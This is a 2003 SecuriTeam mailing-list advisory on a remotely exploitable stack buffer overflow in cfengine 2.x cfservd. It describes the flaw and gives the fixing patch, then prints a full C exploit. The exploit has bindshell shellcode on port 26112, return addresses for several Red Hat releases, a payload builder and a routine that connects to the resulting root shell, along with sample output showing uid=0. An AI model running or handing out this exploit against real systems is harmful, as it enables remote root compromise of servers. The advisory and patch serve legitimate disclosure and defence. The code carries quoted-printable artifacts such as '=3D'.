[UNIX] Cfengine Remotely Exploitable Buffer Overflow (net.c)
From: SecuriTeam (support_at_securiteam.com)
Date: 09/29/03
- Previous message: SecuriTeam: "[EXPL] Marbles HOME Environment Overflow Exploit Code"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: list@securiteam.com Date: 29 Sep 2003 12:50:33 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Cfengine Remotely Exploitable Buffer Overflow (net.c)
------------------------------------------------------------------------
SUMMARY
<http://www.cfengine.org> Cfengine "automates the configuration and
maintenance of large computer networks. A common setup involves running
the cfservd daemon on TCP port 5308 on a central master server, with other
hosts periodically connecting to the master to check for configuration
updates".
DETAILS
Vulnerable:
* cfengine-2.0.0
* cfengine-2.0.1
* cfengine-2.0.2
* cfengine-2.0.3
* cfengine-2.0.4
* cfengine-2.0.5
* cfengine-2.0.5b1
* cfengine-2.0.5pre
* cfengine-2.0.5pre2
* cfengine-2.0.6
* cfengine-2.0.7
* cfengine-2.0.7p1
* cfengine-2.0.7p2
* cfengine-2.0.7p3
* cfengine-2.1.0a6
* cfengine-2.1.0a8
* cfengine-2.1.0a9
Not Vulnerable:
* cfengine-1.6.5 and earlier
* cfengine-2.0.8
* cfengine-2.0.8p1
There is an exploitable stack overflow in the network I/O code used in the
cfservd daemon in Cfengine 2.x prior to version 2.0.8. Arbitrary code
execution has been demonstrated on x86 FreeBSD and is believed to be
possible on all platforms.
Cfengine 1 is not vulnerable, but downgrading is not recommended, as
version 1 is no longer supported by the author.
Cfengine 2 provides strong client authentication by redesigning a stricter
communications protocol. Responsibility for checking input buffers is
relocated in the new code and one important check was not carried over.
The vulnerability occurs after an ACL check on the source IP of the TCP
connection, so this flaw can only be exploited from hosts that are
authorized to connect to the cfservd daemon, or from systems able to spoof
an authorized IP or trick an authorized host into forwarding a connection.
The vulnerability can be exploited without reading any data from the
server, so blind spoofing may be feasible against some platforms.
The cfservd daemon is multithreaded rather than forking, so the attacker
only gets a single chance to get the offset correct within a 4096 byte
window, less a few bytes for shellcode. It may be possible to increase
this window by pre-populating other buffers before triggering the
overflow.
The vulnerable network I/O code is used in several other places in
Cfengine 2, so similar problems may exist in other pre-2.0.8 Cfengine TCP
servers and clients.
Fix:
Upgrade to version 2.0.8p1 or later (recommended), or apply the attached
patch and rebuild cfengine.
The patch was made against 2.0.7p3, and may need to be adapted slightly
for some earlier versions of Cfengine 2.
Workaround:
Ensure that you have cfservd ACLs or firewall rules set up to allow
connections from trusted hosts only.
Technical Details:
In BusyWithConnection() in cfservd.c, recvbuffer[] (a 4096 byte stack
buffer) is passed to ReceiveTransaction() in net.c. ReceiveTransaction()
then reads a message length as a six digit decimal number from the TCP
socket, and passes the buffer and the length on to RecvSocketStream(),
which attempts to read that many bytes into the buffer.
If the length is greater than 4096, an overflow occurs and the return
address of BusyWithConnection() can be overwritten.
In tests on x86 FreeBSD, recvbuffer[] ends up within a few dozen bytes of
the top of the stack, so the attacker can only send a few dozen extra
bytes or cfservd will segfault before the attacker gets control.
Patch:
--- cfengine-2.0.7p3/src/net.c Wed Apr 23 21:48:13 2003
+++ cfengine-2.0.8p1/src/net.c Tue Sep 9 08:38:55 2003
@@ -89,7 +89,7 @@
{ char proto[9];
char status;
- unsigned int len;
+ unsigned int len = 0;
bzero(proto,9);
@@ -101,6 +101,13 @@
sscanf(proto,"%c %u",&status,&len);
Debug("Transaction Receive [%s][%s]\n",proto,proto+8);
+if (len > bufsize - 8)
+ {
+ snprintf(OUTPUT,bufsize,"Bad transaction packet -- too long (%c %d)
Proto = %s ",status,len,proto);
+ CfLog(cferror,OUTPUT,"");
+ return -1;
+ }
+
if (strncmp(proto,"CAUTH",5) == 0)
{
Debug("Version 1 protocol connection attempted - no you don't!!\n");
@@ -132,6 +139,12 @@
Debug("RecvSocketStream(%d)\n",toget);
+if (toget > bufsize)
+ {
+ CfLog(cferror,"Bad software request for overfull buffer","");
+ return -1;
+ }
+
for (already = 0; already != toget; already += got)
{
got = recv(sd,buffer+already,toget-already,0);
@@ -144,7 +157,7 @@
if (got == 0) /* doesn't happen unless sock is closed */
{
- Debug("Transmission empty...\n");
+ Debug("Transmission empty or timed out...\n");
fraction = 0;
return already;
}
@@ -178,6 +191,8 @@
do
{
+ Debug("Attempting to send %d bytes\n",tosend-already);
+
sent=send(sd,buffer+already,tosend-already,flags);
switch(sent)
@@ -191,6 +206,7 @@
break;
}
}
+
while(already < tosend);
return already;
Exploit:
/*********************************************************************************\
* jsk / cfengine2-2.0.3 from redhat
* forking portbind shellcode 0port=3D26112) by netric
* bug discovered by nick cleaton, tested on redhat
* DSR-cfengine.pl :) i think it has some bugs.maybe it is only public
* version...... possbile another reasns.....
* the begin buf of exploit could be like "111111". so....DSR...
*
* by jsk from Ph4nt0m Security Team (http://www.ph4nt0m.net)
* jsk@ph4nt0m.net chat with us ( irc.0x557.org #ph4nt0m)
*
* Greets bR-00t. eSdee.B??.lnewy.#cheese and all #ph4nt0m
* [root@localhost tmp]# ./cnex -h 127.0.0.1 -p 5803 -t 0
*
* cfengine2-2.0.3:server remote buffer overflow exploit
* by jsk.
* Greets bR-00t and all #ph4nt0m .
*[+] Hostname: 127.0.0.1
*[+] Port num: 5308
*[+] Retaddr address: 0x4029cc2c
*[1] #1 Set codes.
*[1] #1 Set socket.
*[*] attempting to connect: 127.0.0.1:5308.
*[*] successfully connected: 127.0.0.1:5308.
*[1] #1 Send codes.
*[1] #3 Get shell.
*[*] checking to see if the exploit was successful.
*[*] attempting to connect: 127.0.0.1:26112.
*[*] successfully connected: 127.0.0.1:26112.
* id
*uid=3D0(root) gid=3D0(root) groups=3D0(root),1(bin),2(daemon),3(sys),4(=
adm),6 **=20
(disk),10(wheel)
=20
\************************************************************************=
*********/
#include <stdio.h>
#include <signal.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#define BUFSIZE 4136
#define D_PORT 5803
#define D_HOST "www.ph4nt0m.net"
#define TIMEOUT 10
char shell[]=3D /* bindshell(26112)&, netric. */
"\x90\x90\x90\x31\xdb\xf7\xe3\x53\x43\x53"
"\x6a\x02\x89\xe1\xb0\x66\x52"
"\x50\xcd\x80\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1"
"\x52\x50\xb0\x66\xcd\x80\x89"
"\xe1\xb3\x04\xb0\x66\xcd\x80"
"\x43\xb0\x66\xcd\x80\x89\xd9"
"\x93\xb0\x3f\xcd\x80\x49\x79"
"\xf9\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
struct op_plat_st
{
int op_plat_num;
char *op_plat_sys;
u_long retaddr;
int off_st;
};
struct op_plat_st __pl_form[]=3D
{
{0,"red 8.0",0x4029cc2c,0},
{1,"red 9.0(cmp)",0x4029cda0,0},
{2,"red 7.2 (Compile)",0x44444444,0},
{3,"red 7.3 (Compile)",0x44444444,0},
NULL
};
void banrl();
void x_fp_rm_usage(char *x_fp_rm);
unsigned short sock_connect(char *,unsigned short);
void getshell(char *,unsigned short);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
void banrl()
{
fprintf(stdout,"\n cfengine2-2.0.3:server remote buffer overflow exploit)=
\n");
fprintf(stdout," by jsk.\n");
fprintf(stdout," Greets Br-00t and all #ph4nt0m .\n");
}
void x_fp_rm_usage(char *x_fp_rm)
{
int __t_xmp=3D0;
fprintf(stdout,"\n Usage: %s -[option] [arguments]\n\n",x_fp_rm);
fprintf(stdout,"\t -h [hostname] - target host.\n");
fprintf(stdout,"\t -p [port] - port number.\n");
fprintf(stdout,"\t -s [addr] - &shellcode address.\n\n");
fprintf(stdout," Example> %s -h target_hostname -p 8000 -t num\n",x_fp_rm=
);
fprintf(stdout," Select target number>\n\n");
for(;;)
{
if(__pl_form[__t_xmp].op_plat_num=3D=3D(0x82))
break;
else
{
fprintf(stdout,"\t {%d}=20
%s\n",__pl_form[__t_xmp].op_plat_num,__pl_form[__t_xmp].op_plat_sys);
}
__t_xmp++;
}
fprintf(stdout,"\n");
exit(0);
}
int main(int argc,char *argv[])
{
int port=3DD_PORT;
char hostname[0x333]=3DD_HOST;
int whlp,type=3D0;
unsigned int i=3D0;
char *buf;
int sd;
u_long retaddr=3D__pl_form[type].retaddr;
(void)banrl();
while((whlp=3Dgetopt(argc,argv,"T:t:H:h:P:p:IiXx"))!=3DEOF)
{
extern char *optarg;
switch(whlp)
{
case 'T':
case 't':
if((type=3Datoi(optarg))<6)
{
retaddr=3D__pl_form[type].retaddr;
}
else (void)x_fp_rm_usage(argv[0]);
break;
case 'H':
case 'h':
memset((char *)hostname,0,sizeof(hostname));
strncpy(hostname,optarg,sizeof(hostname)-1);
break;
case 'P':
case 'p':
port=3Datoi(optarg);
break;
case 'I':
case 'i':
fprintf(stderr," Try `%s -?' for more information.\n\n",argv[0]);
exit(-1);
case '?':
(void)x_fp_rm_usage(argv[0]);
break;
}
}
if(!strcmp(hostname,D_HOST))
{
(void)x_fp_rm_usage(argv[0]);
}
{
fprintf(stdout," [+] Hostname: %s\n",hostname);
fprintf(stdout," [+] Port num: %d\n",port);
fprintf(stdout," [+] Retaddr address: %p\n",retaddr);
}
fprintf(stdout," [1] #1 Set codes.\n");
if(!(buf=3D(char *)malloc(BUFSIZE+1)))
printe("getcode(): allocating memory failed.",1);
memset(buf, 0x90, BUFSIZE);
buf[0] =3D '1';
buf[1] =3D '1';
buf[2] =3D '1';
buf[3] =3D '1';
buf[4] =3D '1';
buf[5] =3D '1';
buf[6] =3D '1';
memset(buf+7,0x90,636);=20
memcpy(buf+7+636,shell, sizeof(shell));
memset(buf+7+636+strlen(shell),0x90,3500);=20
memcpy(&buf[BUFSIZE-(sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(2*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(3*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(4*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(5*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(6*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(7*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(8*sizeof(retaddr))], &retaddr, sizeof(retaddr));
memcpy(&buf[BUFSIZE-(9*sizeof(retaddr))], &retaddr, sizeof(retaddr));
fprintf(stdout," [1] #1 Set socket.\n");
sd=3Dsock_connect(hostname,port);
fprintf(stdout," [1] #1 Send codes.\n");
write(sd,buf,BUFSIZE);
close(sd);
sleep(1);
fprintf(stdout," [1] #3 Get shell.\n");
getshell(hostname,26112);
exit(0);
}
unsigned short sock_connect(char *hostname,
unsigned short port){
int sock;
struct hostent *t;
struct sockaddr_in s;
sock=3Dsocket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=3DAF_INET;
s.sin_port=3Dhtons(port);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if((s.sin_addr.s_addr=3Dinet_addr(hostname))){
if(!(t=3Dgethostbyname(hostname)))
printe("couldn't resolve hostname.",1);
memcpy((char*)&s.sin_addr,(char*)t->h_addr,
sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
printe("netris connection failed.",1);
alarm(0);
printf("[*] successfully connected: %s:%d.\n",hostname,port);
return(sock);
}
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
printf("[*] checking to see if the exploit was successful.\n");
if((sock=3Dsocket(AF_INET,SOCK_STREAM,IPPROTO_TCP))=3D=3D-1)
printe("getshell(): socket() failed.",1);
sa.sin_family=3DAF_INET;
if((sa.sin_addr.s_addr=3Dinet_addr(hostname))){
if(!(he=3Dgethostbyname(hostname)))
printe("getshell(): couldn't resolve.",1);
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=3Dhtons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",hostname,port);
return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1)
printe("getshell(): select() failed.",1);
if(FD_ISSET(0,&fds)){
if((r=3Dread(0,buf,4096))<1)
printe("getshell(): read() failed.",1);
if(write(sock,buf,r)!=3Dr)
printe("getshell(): write() failed.",1);
}
if(FD_ISSET(sock,&fds)){
if((r=3Dread(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
void printe(char *err,short e){
fprintf(stdout," [-] Failed.\n\n");
fprintf(stdout," Happy Exploit ! :-)\n\n");
if(e)
exit(1);
return;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:nick@cleaton.net> Nick
Cleaton, the exploit has been provided by <mailto:jsk@ph4nt0m.net> jsk.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: SecuriTeam: "[EXPL] Marbles HOME Environment Overflow Exploit Code"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
- [EXPL] pServ User-Agent Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... User-Agent data handling allows
remote attackers to cause pServ to execute ... int op_plat_num; ... void
getshell; ... (Securiteam) - [NEWS] Festalon Heap Corruption
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... void fwbof(FILE *fd, int
len, int chr); ... void fwi08(FILE *fd, int num) { ... (Securiteam) - [UNIX] Linux Kernel uselib() Privilege Elevation
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... static int load_elf_library
... Obviously, if the kmem_cache_alloccall sleeps, the newly created VMA ... void
fatal ... (Securiteam) - [EXPL] EPIC4 CTCP Nicknames Buffer Overflow
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... void send_mes(int fd,char *host);
... void wait_connection; ... unsigned int check_version = 0; ...
(Securiteam) - Help in Java swings(internal Frame)
... public int getSize() ... public void valueChanged{ ... private
JScrollPane scrollPane1; ... public class PeakContainer extends JInternalFrame ...
(comp.lang.java.programmer)